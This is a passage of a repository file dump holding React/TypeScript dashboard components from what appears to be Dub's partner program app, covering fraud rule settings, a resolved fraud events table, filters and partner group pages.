paidTrafficDetected: {\n        enabled: false,\n        config: { platforms: [], google: { whitelistedCampaignIds: [] } },\n      },\n      ...Object.fromEntries(\n        TOGGLE_ONLY_RULES.map((rule) => [rule.type, { enabled: true }]),\n      ),\n    },\n  });\n\n  const {\n    handleSubmit,\n    formState: { isDirty },\n  } = form;\n\n  useEffect(() => {\n    if (!fraudRules) return;\n\n    const findRule = (type: string) =>\n      fraudRules.find((rule) => rule.type === type);\n\n    const paidTrafficDetectedRule = findRule(\"paidTrafficDetected\");\n    const referralSourceBannedRule = findRule(\"referralSourceBanned\");\n\n    const paidTrafficConfig = (paidTrafficDetectedRule?.config ?? {}) as {\n      platforms?: PaidTrafficPlatform[];\n      google?: { whitelistedCampaignIds?: string[] };\n    };\n\n    form.reset({\n      referralSourceBanned: {\n        enabled: referralSourceBannedRule?.enabled ?? false,\n        config: referralSourceBannedRule?.config ?? { domains: [] },\n      },\n      paidTrafficDetected: {\n        enabled: paidTrafficDetectedRule?.enabled ?? false,\n        config: {\n          platforms: paidTrafficConfig.platforms ?? [],\n          google: {\n            whitelistedCampaignIds:\n              paidTrafficConfig.google?.whitelistedCampaignIds ?? [],\n          },\n        },\n      },\n      ...Object.fromEntries(\n        TOGGLE_ONLY_RULES.map((rule) => [\n          rule.type,\n          { enabled: findRule(rule.type)?.enabled ?? true },\n        ]),\n      ),\n    });\n  }, [fraudRules, form]);\n\n  // Submit form data to API\n  const submitForm = async (body: UpdateFraudRuleSettings) => {\n    await makeRequest(\"/api/fraud/rules\", {\n      method: \"PATCH\",\n      body,\n      onSuccess: () => {\n        toast.success(\"Fraud settings updated successfully.\");\n        setIsOpen(false);\n        mutatePrefix([\"/api/fraud/rules\", \"/api/fraud/events\"]);\n      },\n    });\n  };\n\n  // Handle form submission\n  const onSubmit = async (body: UpdateFraudRuleSettings) => {\n    if (isLoading) {\n      return;\n    }\n\n    // First submit if no previous data exists\n    if (!fraudRules) {\n      await submitForm(body);\n      return;\n    }\n\n    // Detect rule disable transitions\n    const rulesBeingDisabled = getRulesBeingDisabled({\n      previousFraudRules: fraudRules,\n      nextFraudRules: body,\n    });\n\n    // If any rules are being disabled, show confirmation modal\n    if (rulesBeingDisabled.length > 0) {\n      setShowDisableModal(true);\n      return;\n    }\n\n    // Otherwise, submit directly\n    await submitForm(body);\n  };\n\n  return (\n    <>\n      <FormProvider {...form}>\n        {DisableFraudRulesModal}\n        <form\n          onSubmit={handleSubmit(onSubmit)}\n          className=\"flex h-full flex-col\"\n        >\n          <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n            <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n              <Sheet.Title className=\"flex items-center gap-2 text-lg font-semibold\">\n                Fraud settings\n                <InfoTooltip content=\"Learn more about how to [customize your program's fraud settings](https://dub.co/help/article/fraud-detection).\" />\n              </Sheet.Title>\n              <Sheet.Close asChild>\n                <Button\n                  variant=\"outline\"\n                  icon={<X className=\"size-5\" />}\n                  className=\"h-auto w-fit p-1\"\n                />\n              </Sheet.Close>\n            </div>\n          </div>\n\n          <div className=\"h-full overflow-y-auto p-4 sm:p-6\">\n            <div className=\"space-y-4\">\n              {TOGGLE_ONLY_RULES.map((rule) => (\n                <FraudRuleToggleSettings\n                  key={rule.type}\n                  ruleType={rule.type}\n                  title={FRAUD_RULES_BY_TYPE[rule.type].name}\n                  description={FRAUD_RULES_BY_TYPE[rule.type].description}\n                  isConfigLoading={isLoading}\n                />\n              ))}\n              <FraudPaidTrafficSettings isConfigLoading={isLoading} />\n              <FraudReferralSourceSettings isConfigLoading={isLoading} />\n            </div>\n          </div>\n\n          <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n            <div className=\"flex items-center justify-end gap-2 p-5\">\n              <Button\n                variant=\"secondary\"\n                text=\"Cancel\"\n                disabled={isSubmitting}\n                className=\"h-8 w-fit px-3\"\n                onClick={() => setIsOpen(false)}\n              />\n\n              <Button\n                type=\"submit\"\n                text=\"Save\"\n                className=\"h-8 w-fit px-3\"\n                loading={isSubmitting}\n                disabled={!isDirty || isLoading}\n              />\n            </div>\n          </div>\n        </form>\n      </FormProvider>\n    </>\n  );\n}\n\nfunction ProgramFraudSettingsSheet({\n  isOpen,\n  ...rest\n}: ProgramFraudSettingsSheetProps & {\n  isOpen: boolean;\n}) {\n  return (\n    <Sheet open={isOpen} onOpenChange={rest.setIsOpen}>\n      <ProgramFraudSettingsSheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function useProgramFraudSettingsSheet() {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    programFraudSettingsSheet: (\n      <ProgramFraudSettingsSheet setIsOpen={setIsOpen} isOpen={isOpen} />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/resolved/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ResolvedFraudGroupTable } from \"./resolved-fraud-group-table\";\n\nexport default async function ResolvedFraudGroupsPage(props: {\n  params: Promise<{ slug: string }>;\n}) {\n  const params = await props.params;\n\n  return (\n    <PageContent\n      title=\"Resolved events\"\n      titleBackHref={`/${params.slug}/program/fraud`}\n    >\n      <PageWidthWrapper>\n        <ResolvedFraudGroupTable />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/resolved/resolved-fraud-group-table.tsx",
    "content": "\"use client\";\n\nimport { FRAUD_RULES_BY_TYPE } from \"@/lib/api/fraud/constants\";\nimport { useFraudGroups } from \"@/lib/swr/use-fraud-groups\";\nimport { useFraudGroupCount } from \"@/lib/swr/use-fraud-groups-count\";\nimport { FraudGroupProps } from \"@/lib/types\";\nimport { FraudReviewSheet } from \"@/ui/partners/fraud-risks/fraud-review-sheet\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { UserRowItem } from \"@/ui/users/user-row-item\";\nimport {\n  AnimatedSizeContainer,\n  Badge,\n  Filter,\n  Table,\n  Tooltip,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { ShieldKeyhole } from \"@dub/ui/icons\";\nimport { cn, formatDate } from \"@dub/utils\";\nimport { Row } from \"@tanstack/react-table\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { useFraudGroupFilters } from \"../use-fraud-group-filters\";\n\nexport function ResolvedFraudGroupTable() {\n  const { queryParams, searchParams } = useRouterStuff();\n  const { pagination, setPagination } = usePagination();\n\n  const sortBy = searchParams.get(\"sortBy\") || \"resolvedAt\";\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n    setSearch,\n    setSelectedFilter,\n  } = useFraudGroupFilters({\n    status: \"resolved\",\n  });\n\n  const { fraudGroups, loading, error } = useFraudGroups({\n    query: {\n      status: \"resolved\",\n    },\n    exclude: [\"groupId\"],\n  });\n\n  const [detailsSheetState, setDetailsSheetState] = useState<\n    { open: false; groupId: string | null } | { open: true; groupId: string }\n  >({ open: false, groupId: null });\n\n  useEffect(() => {\n    const groupId = searchParams.get(\"groupId\");\n\n    if (groupId) {\n      setDetailsSheetState({ open: true, groupId });\n    } else {\n      setDetailsSheetState({ open: false, groupId: null });\n    }\n  }, [searchParams]);\n\n  const { currentFraudGroup } = useCurrentFraudGroup({\n    fraudGroups,\n    groupId: detailsSheetState.groupId,\n  });\n\n  const { fraudGroupCount, error: countError } = useFraudGroupCount<number>({\n    query: {\n      status: \"resolved\",\n    },\n  });\n\n  const columns = useMemo(\n    () => [\n      {\n        id: \"type\",\n        header: \"Event\",\n        minSize: 100,\n        maxSize: 400,\n        cell: ({ row }: { row: Row<FraudGroupProps> }) => {\n          const reason = FRAUD_RULES_BY_TYPE[row.original.type];\n          const count = row.original.eventCount ?? 1;\n\n          if (reason) {\n            return (\n              <div className=\"flex items-center gap-2\">\n                <Tooltip content={reason.description}>\n                  <span\n                    className={cn(\n                      \"cursor-help truncate underline decoration-dotted underline-offset-2\",\n                    )}\n                  >\n                    {reason.name}\n                  </span>\n                </Tooltip>\n\n                {count > 1 && (\n                  <Badge\n                    variant=\"gray\"\n                    className=\"shrink-0 rounded-md border-none px-1.5 py-1 text-xs font-semibold text-neutral-700\"\n                  >\n                    +{Number(count) - 1}\n                  </Badge>\n                )}\n              </div>\n            );\n          }\n        },\n        meta: {\n          filterParams: ({ row }) => ({\n            type: row.original.type,\n          }),\n        },\n      },\n      {\n        id: \"partner\",\n        header: \"Partner\",\n        cell: ({ row }: { row: Row<FraudGroupProps> }) => {\n          const partner = row.original.partner;\n          if (!partner) return \"-\";\n\n          return (\n            <PartnerRowItem partner={partner} showFraudIndicator={false} />\n          );\n        },\n        meta: {\n          filterParams: ({ row }: { row: Row<FraudGroupProps> }) =>\n            row.original.partner\n              ? {\n                  partnerId: row.original.partner.id,\n                }\n              : {},\n        },\n      },\n      {\n        id: \"resolvedAt\",\n        header: \"Resolved on\",\n        cell: ({ row }: { row: Row<FraudGroupProps> }) => {\n          const user = row.original.user;\n          const resolvedAt = row.original.resolvedAt;\n\n          if (!resolvedAt) return \"-\";\n\n          if (!user)\n            return formatDate(resolvedAt, {\n              month: \"short\",\n              year: undefined,\n            });\n\n          return (\n            <UserRowItem user={user} date={resolvedAt} label=\"Resolved at\" />\n          );\n        },\n      },\n      {\n        id: \"resolutionReason\",\n        header: \"Note\",\n        cell: ({ row }: { row: Row<FraudGroupProps> }) => {\n          const resolutionReason = row.original.resolutionReason;\n\n          if (!resolutionReason) return \"-\";\n\n          return (\n            <Tooltip content={resolutionReason}>\n              <span className=\"line-clamp-1 cursor-help truncate\">\n                {resolutionReason}\n              </span>\n            </Tooltip>\n          );\n        },\n      },\n    ],\n    [],\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: fraudGroups || [],\n    columns,\n    pagination,\n    onPaginationChange: setPagination,\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    getRowId: (row) => row.id,\n    onRowClick: (row) => {\n      queryParams({\n        set: {\n          groupId: row.original.id,\n        },\n        scroll: false,\n      });\n    },\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (plural) => `resolved fraud event${plural ? \"s\" : \"\"}`,\n    rowCount: fraudGroupCount ?? 0,\n    loading,\n    error:\n      error || countError ? \"Failed to load resolved fraud events\" : undefined,\n  });\n\n  const [previousGroupId, nextGroupId] = useMemo(() => {\n    if (!fraudGroups || !detailsSheetState.groupId) return [null, null];\n\n    const currentIndex = fraudGroups.findIndex(\n      ({ id }) => id === detailsSheetState.groupId,\n    );\n    if (currentIndex === -1) return [null, null];\n\n    return [\n      currentIndex > 0 ? fraudGroups[currentIndex - 1].id : null,\n      currentIndex < fraudGroups.length - 1\n        ? fraudGroups[currentIndex + 1].id\n        : null,\n    ];\n  }, [fraudGroups, detailsSheetState.groupId]);\n\n  return (\n    <div className=\"flex flex-col gap-6\">\n      {detailsSheetState.groupId && currentFraudGroup && (\n        <FraudReviewSheet\n          isOpen={detailsSheetState.open}\n          setIsOpen={(open) =>\n            setDetailsSheetState((s) => ({ ...s, open }) as any)\n          }\n          fraudGroup={currentFraudGroup}\n          onPrevious={\n            previousGroupId\n              ? () =>\n                  queryParams({\n                    set: { groupId: previousGroupId },\n                    scroll: false,\n                  })\n              : undefined\n          }\n          onNext={\n            nextGroupId\n              ? () =>\n                  queryParams({\n                    set: { groupId: nextGroupId },\n                    scroll: false,\n                  })\n              : undefined\n          }\n        />\n      )}\n      <div>\n        <div className=\"flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onSearchChange={setSearch}\n            onSelectedFilterChange={setSelectedFilter}\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n\n      {fraudGroups?.length !== 0 ? (\n        <Table {...tableProps} table={table} />\n      ) : (\n        <AnimatedEmptyState\n          title=\"No resolved fraud events found\"\n          description={\n            isFiltered\n              ? \"No resolved fraud events found for the selected filters.\"\n              : \"No fraud events have been resolved yet.\"\n          }\n          cardContent={() => (\n            <>\n              <ShieldKeyhole className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n        />\n      )}\n    </div>\n  );\n}\n\n// Gets the current fraud event from the loaded array if available, or a separate fetch if not\nfunction useCurrentFraudGroup({\n  fraudGroups,\n  groupId,\n}: {\n  fraudGroups?: FraudGroupProps[];\n  groupId: string | null;\n}) {\n  let currentFraudGroup = groupId\n    ? fraudGroups?.find((fraudGroup) => fraudGroup.id === groupId)\n    : null;\n\n  const shouldFetch =\n    fraudGroups && groupId && !currentFraudGroup ? groupId : null;\n\n  const { fraudGroups: fetchedFraudGroups, loading: isLoading } =\n    useFraudGroups({\n      query: { groupId: groupId ?? undefined },\n      enabled: Boolean(shouldFetch),\n    });\n\n  if (!currentFraudGroup && fetchedFraudGroups?.[0]?.id === groupId) {\n    currentFraudGroup = fetchedFraudGroups[0];\n  }\n\n  return {\n    currentFraudGroup,\n    isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/fraud/use-fraud-group-filters.tsx",
    "content": "import { FRAUD_RULES_BY_TYPE } from \"@/lib/api/fraud/constants\";\nimport { useFraudGroupCount } from \"@/lib/swr/use-fraud-groups-count\";\nimport usePartners from \"@/lib/swr/use-partners\";\nimport { EnrolledPartnerProps, FraudGroupCountByType } from \"@/lib/types\";\nimport { fraudGroupCountQuerySchema } from \"@/lib/zod/schemas/fraud\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { ShieldKeyhole, Users } from \"@dub/ui/icons\";\nimport { nFormatter, OG_AVATAR_URL } from \"@dub/utils\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\nimport * as z from \"zod/v4\";\n\nexport function useFraudGroupFilters({\n  status,\n}: z.infer<typeof fraudGroupCountQuerySchema>) {\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n  const { searchParamsObj, queryParams } = useRouterStuff();\n  const [selectedFilter, setSelectedFilter] = useState<string | null>(null);\n\n  const { partners } = usePartnerFilterOptions(\n    selectedFilter === \"partnerId\" ? debouncedSearch : \"\",\n  );\n\n  const { fraudGroupCount } = useFraudGroupCount<FraudGroupCountByType[]>({\n    query: {\n      status,\n      groupBy: \"type\",\n    },\n  });\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"type\",\n        icon: ShieldKeyhole,\n        label: \"Reason\",\n        options: fraudGroupCount\n          ? fraudGroupCount.map(({ type, _count }) => ({\n              label: FRAUD_RULES_BY_TYPE[type].name,\n              value: type,\n              right: nFormatter(_count, { full: true }),\n            }))\n          : null,\n      },\n      {\n        key: \"partnerId\",\n        icon: Users,\n        label: \"Partner\",\n        shouldFilter: false,\n        options:\n          partners?.map(({ id, name, image }) => {\n            return {\n              value: id,\n              label: name,\n              icon: (\n                <img\n                  src={image || `${OG_AVATAR_URL}${id}`}\n                  alt={`${name} image`}\n                  className=\"size-4 rounded-full\"\n                />\n              ),\n            };\n          }) ?? null,\n      },\n    ],\n    [partners, fraudGroupCount],\n  );\n\n  const activeFilters = useMemo(() => {\n    const { type, partnerId } = searchParamsObj;\n\n    return [\n      ...(type ? [{ key: \"type\", value: type }] : []),\n      ...(partnerId ? [{ key: \"partnerId\", value: partnerId }] : []),\n    ];\n  }, [searchParamsObj]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n    [queryParams],\n  );\n\n  const onRemove = useCallback(\n    (key: string, _value?: any) =>\n      queryParams({\n        del: [key, \"page\"],\n        scroll: false,\n      }),\n    [queryParams],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"type\", \"partnerId\", \"page\"],\n        scroll: false,\n      }),\n    [queryParams],\n  );\n\n  const isFiltered = activeFilters.length > 0;\n\n  return {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n    setSearch,\n    setSelectedFilter,\n  };\n}\n\nfunction usePartnerFilterOptions(search: string) {\n  const { searchParamsObj } = useRouterStuff();\n\n  const { partners, loading: partnersLoading } = usePartners({\n    query: { search },\n  });\n\n  const { partners: selectedPartners } = usePartners({\n    query: {\n      partnerIds: searchParamsObj.partnerId\n        ? [searchParamsObj.partnerId]\n        : undefined,\n    },\n  });\n\n  const result = useMemo(() => {\n    return partnersLoading ||\n      // Consider partners loading if we can't find the currently filtered partner\n      (searchParamsObj.partnerId &&\n        ![...(selectedPartners ?? []), ...(partners ?? [])].some(\n          (p) => p.id === searchParamsObj.partnerId,\n        ))\n      ? null\n      : ([\n          ...(partners ?? []),\n          // Add selected partner to list if not already in partners\n          ...(selectedPartners\n            ?.filter((st) => !partners?.some((t) => t.id === st.id))\n            ?.map((st) => ({ ...st, hideDuringSearch: true })) ?? []),\n        ] as (EnrolledPartnerProps & { hideDuringSearch?: boolean })[]);\n  }, [partnersLoading, partners, selectedPartners, searchParamsObj.partnerId]);\n\n  return { partners: result };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/branding/page.tsx",
    "content": "import { BrandingForm } from \"@/ui/partners/groups/design/branding-form\";\n\nexport default function GroupBrandingPage() {\n  return (\n    <div className=\"mb-4 grid gap-10\">\n      <BrandingForm />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/discounts/group-discounts.tsx",
    "content": "\"use client\";\n\nimport useGroup from \"@/lib/swr/use-group\";\nimport type { DiscountProps, GroupProps } from \"@/lib/types\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { useDiscountSheet } from \"@/ui/partners/discounts/add-edit-discount-sheet\";\nimport { ProgramRewardDescription } from \"@/ui/partners/program-reward-description\";\nimport { Button } from \"@dub/ui\";\nimport { cn, isClickOnInteractiveChild } from \"@dub/utils\";\nimport { BadgePercent } from \"lucide-react\";\n\nexport const GroupDiscounts = () => {\n  const { group, loading } = useGroup();\n\n  return (\n    <div>\n      {loading || !group ? (\n        <DiscountSkeleton />\n      ) : (\n        <DiscountItem discount={group?.discount} group={group} />\n      )}\n    </div>\n  );\n};\n\nconst DiscountItem = ({\n  discount,\n  group,\n}: {\n  discount?: DiscountProps | null;\n  group: GroupProps;\n}) => {\n  const { DiscountSheet, setIsOpen } = useDiscountSheet({\n    ...(discount && { discount }),\n  });\n\n  return (\n    <>\n      {DiscountSheet}\n      <div\n        className={cn(\n          \"flex cursor-pointer flex-col gap-4 rounded-lg p-6 transition-all md:flex-row md:items-center\",\n          discount && \"border border-neutral-200 hover:border-neutral-300\",\n          !discount && \"bg-neutral-50 hover:bg-neutral-100\",\n        )}\n        onClick={(e) => {\n          if (isClickOnInteractiveChild(e)) return;\n          setIsOpen(true);\n        }}\n      >\n        <div className=\"flex size-10 items-center justify-center rounded-full border border-neutral-200 bg-white\">\n          <BadgePercent className=\"size-4 text-neutral-600\" />\n        </div>\n        <div className=\"flex flex-1 flex-col justify-between gap-y-4 md:flex-row md:items-center\">\n          <div className=\"flex items-center gap-2\">\n            <span className=\"text-sm font-normal\">\n              {discount ? (\n                <ProgramRewardDescription discount={discount} />\n              ) : (\n                <span className=\"text-sm font-normal text-neutral-600\">\n                  No referral discount created\n                </span>\n              )}\n            </span>\n          </div>\n\n          <div className=\"flex flex-col-reverse items-center gap-2 md:flex-row\">\n            {!discount && group.slug !== DEFAULT_PARTNER_GROUP.slug && (\n              <CopyDefaultDiscountButton />\n            )}\n            <Button\n              text={discount ? \"Edit\" : \"Create\"}\n              variant={discount ? \"secondary\" : \"primary\"}\n              className=\"h-9 w-full rounded-lg md:w-fit\"\n              onClick={(e) => {\n                e.preventDefault();\n                setIsOpen(true);\n              }}\n            />\n          </div>\n        </div>\n      </div>\n    </>\n  );\n};\n\nconst CopyDefaultDiscountButton = () => {\n  const { group: defaultGroup } = useGroup({\n    groupIdOrSlug: DEFAULT_PARTNER_GROUP.slug,\n  });\n\n  const { DiscountSheet, setIsOpen } = useDiscountSheet({\n    defaultDiscountValues: defaultGroup?.discount ?? undefined,\n  });\n\n  return defaultGroup?.discount ? (\n    <>\n      {DiscountSheet}\n      <Button\n        text=\"Duplicate default group\"\n        variant=\"secondary\"\n        className=\"animate-fade-in h-9 w-full rounded-lg md:w-fit\"\n        onClick={(e) => {\n          e.preventDefault();\n          e.stopPropagation();\n          setIsOpen(true);\n        }}\n      />\n    </>\n  ) : null;\n};\n\nconst DiscountSkeleton = () => {\n  return (\n    <div className=\"flex items-center gap-4 rounded-lg bg-neutral-50 p-6\">\n      <div className=\"flex size-10 animate-pulse items-center justify-center rounded-full border border-neutral-200 bg-neutral-100\" />\n      <div className=\"flex flex-1 items-center justify-between\">\n        <div className=\"h-4 w-64 animate-pulse rounded bg-neutral-100\" />\n        <div className=\"h-6 w-24 animate-pulse rounded-full bg-neutral-100\" />\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/discounts/page.tsx",
    "content": "import { GroupDiscounts } from \"./group-discounts\";\n\nexport default function GroupDiscountsPage() {\n  return <GroupDiscounts />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/group-header.tsx",
    "content": "\"use client\";\n\nimport useGroup from \"@/lib/swr/use-group\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { GroupProps } from \"@/lib/types\";\nimport { GroupSelector } from \"@/ui/partners/groups/group-selector\";\nimport {\n  ArrowUpRight2,\n  Brush,\n  Button,\n  ChevronRight,\n  Discount,\n  Gift,\n  Hyperlink,\n  Sliders,\n  Users,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport {\n  redirect,\n  useParams,\n  usePathname,\n  useRouter,\n  useSearchParams,\n} from \"next/navigation\";\n\nexport function GroupHeaderTitle() {\n  const router = useRouter();\n  const params = useParams<{ slug: string; groupSlug: string }>();\n  const pathname = usePathname();\n  const searchParams = useSearchParams();\n  const { group, loading } = useGroup();\n  const { groups } = useGroups();\n  const { slug: workspaceSlug } = useWorkspace();\n\n  if (loading) {\n    return <div className=\"h-7 w-32 animate-pulse rounded-md bg-neutral-200\" />;\n  }\n\n  if (!group) {\n    redirect(`/${workspaceSlug}/program/groups`);\n  }\n\n  const switchToGroup = (groupId: string) => {\n    if (group.id === groupId) return;\n\n    // Find the group by ID to get the slug\n    const targetGroup = groups?.find((g) => g.id === groupId);\n    if (!targetGroup) return;\n\n    const url = `${pathname.replace(`/groups/${params.groupSlug}`, `/groups/${targetGroup.slug}`)}?${searchParams.toString()}`;\n\n    router.push(url);\n  };\n\n  return (\n    <div className=\"flex items-center gap-1.5\">\n      <Link\n        href={`/${workspaceSlug}/program/groups`}\n        aria-label=\"Back to groups\"\n        title=\"Back to groups\"\n        className=\"bg-bg-subtle hover:bg-bg-emphasis flex size-8 shrink-0 items-center justify-center rounded-lg transition-[transform,background-color] duration-150 active:scale-95\"\n      >\n        <Users className=\"size-4\" />\n      </Link>\n      <ChevronRight className=\"text-content-muted size-2.5 shrink-0 [&_*]:stroke-2\" />\n\n      <GroupSelector\n        selectedGroupId={group.id}\n        setSelectedGroupId={switchToGroup}\n        variant=\"header\"\n      />\n    </div>\n  );\n}\n\nexport function GroupHeaderTabs() {\n  const pathname = usePathname();\n  const { slug } = useParams<{ slug: string }>();\n  const { group, loading } = useGroup();\n\n  const GROUP_NAVIGATION_TABS = [\n    {\n      id: \"rewards\",\n      label: \"Rewards\",\n      icon: Gift,\n      external: false,\n      getHref: (group: GroupProps) =>\n        `/${slug}/program/groups/${group.slug}/rewards`,\n    },\n    {\n      id: \"discounts\",\n      label: \"Discounts\",\n      icon: Discount,\n      external: false,\n      getHref: (group: GroupProps) =>\n        `/${slug}/program/groups/${group.slug}/discounts`,\n    },\n    {\n      id: \"links\",\n      label: \"Links\",\n      icon: Hyperlink,\n      external: false,\n      getHref: (group: GroupProps) =>\n        `/${slug}/program/groups/${group.slug}/links`,\n    },\n    {\n      id: \"branding\",\n      label: \"Branding\",\n      icon: Brush,\n      external: false,\n      getHref: (group: GroupProps) =>\n        `/${slug}/program/groups/${group.slug}/branding`,\n    },\n    {\n      id: \"partners\",\n      label: \"Partners\",\n      icon: Users,\n      external: true,\n      getHref: (group: GroupProps) =>\n        `/${slug}/program/partners?groupId=${group.id}`,\n    },\n    {\n      id: \"settings\",\n      label: \"Settings\",\n      icon: Sliders,\n      external: false,\n      getHref: (group: GroupProps) =>\n        `/${slug}/program/groups/${group.slug}/settings`,\n    },\n  ];\n\n  return (\n    <div className=\"scrollbar-hide -mx-3 flex gap-2.5 overflow-x-auto px-3\">\n      {GROUP_NAVIGATION_TABS.map((tab) => {\n        const Icon = tab.icon;\n\n        if (loading || !group)\n          return (\n            <div\n              key={tab.id}\n              className=\"h-7 w-28 animate-pulse rounded-lg bg-neutral-200\"\n            />\n          );\n\n        const href = tab.getHref(group);\n        const isActive = pathname === href;\n\n        return (\n          <Link\n            key={tab.id}\n            href={href}\n            target={tab.external ? \"_blank\" : undefined}\n          >\n            <Button\n              variant=\"secondary\"\n              icon={<Icon className=\"size-4\" />}\n              text={tab.label}\n              right={\n                tab.external ? (\n                  <ArrowUpRight2 className=\"text-content-subtle size-3.5\" />\n                ) : undefined\n              }\n              className={cn(\"h-7 rounded-lg px-2.5 text-sm font-medium\", {\n                \"bg-bg-subtle\": isActive,\n              })}\n            />\n          </Link>\n        );\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/layout.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { GroupHeaderTabs, GroupHeaderTitle } from \"./group-header\";\n\nexport default function GroupLayout({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  return (\n    <PageContent\n      title={<GroupHeaderTitle />}\n      headerContent={<GroupHeaderTabs />}\n    >\n      <PageWidthWrapper className=\"pb-10\">{children}</PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/groups/[groupSlug]/links/add-edit-group-additional-link-modal.tsx",
    "content": "\"use client\";\n\nimport { isValidDomainFormatWithLocalhost } from \"@/lib/api/domains/is-valid-domain\";\nimport { PartnerGroupAdditionalLink } from \"@/lib/types\";\nimport { MAX_ADDITIONAL_PARTNER_LINKS } from \"@/lib/zod/schemas/groups\";\nimport {\n  AnimatedSizeContainer,\n  Badge,\n  Button,\n  Input,\n  Modal,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { CircleCheckFill } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useEffect, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\n\n// Form input types (different from backend schema for better UX)\ntype AdditionalLinkFormData = {\n  validationMode: \"domain\" | \"exact\";\n  domain?: string;\n  url?: string; // For exact mode - will be parsed into domain + path on submission\n};\n\nconst URL_VALIDATION_MODES = [\n  {\n    value: \"domain\",\n    label: \"Any URL\",\n    description: \"Allows links to any page on this domain\",\n    recommended: true,\n    placeholder: \"acme.com\",\n  },\n  {\n    value: \"exact\",\n    label: \"Single URL\",\n    description: \"Restricts links to a specific page only\",\n    recommended: false,\n    placeholder: \"https://acme.com/specific-page\",\n  },\n] as const;\n\n// Helper functions to convert between form data and backend schema\nfunction partnerLinkToFormData(\n  link: PartnerGroupAdditionalLink,\n): AdditionalLinkFormData {\n  if (link.validationMode === \"exact\") {\n    // Reconstruct URL from domain + path\n    const url = link.path\n      ? `https://${link.domain}${link.path}`\n      : `https://${link.domain}`;\n    return {\n      validationMode: \"exact\",\n      url,\n    };\n  }\n  return {\n    validationMode: \"domain\",\n    domain: link.domain,\n  };\n}\n\nfunction formDataToPartnerLink(\n  formData: AdditionalLinkFormData,\n): PartnerGroupAdditionalLink {\n  if (formData.validationMode === \"exact\" && formData.url) {\n    // Parse URL into domain + path\n    try {\n      const urlObj = new URL(formData.url);\n      return {\n        validationMode: \"exact\",\n        domain: urlObj.hostname,\n        path: urlObj.pathname + urlObj.search + urlObj.hash,\n      